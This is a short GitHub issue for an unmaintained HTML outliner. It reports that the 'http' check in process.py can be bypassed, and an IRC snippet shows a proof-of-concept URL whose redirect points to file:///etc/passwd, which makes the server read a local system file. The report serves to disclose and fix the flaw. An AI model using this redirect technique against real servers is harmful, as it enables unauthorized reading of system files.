gsnedders / outliner

(unmaintained) HTML outliner
MIT License
14 stars 2 forks source link

Local file-access bug #8

Open gsnedders opened 10 years ago

gsnedders commented 10 years ago

The check in process.py for "http" isn't enough.

23:05 < erlehmann> gsnedders http://gsnedders.html5.org/outliner/process.py?url=http%3A%2F%2Fdaten.dieweltistgarnichtso.net%2Ftmp%2Fetc_passwd 23:06 < erlehmann> ; curl -sI http://daten.dieweltistgarnichtso.net/tmp/etc_passwd | grep Location 23:06 < erlehmann> Location: file:///etc/passwd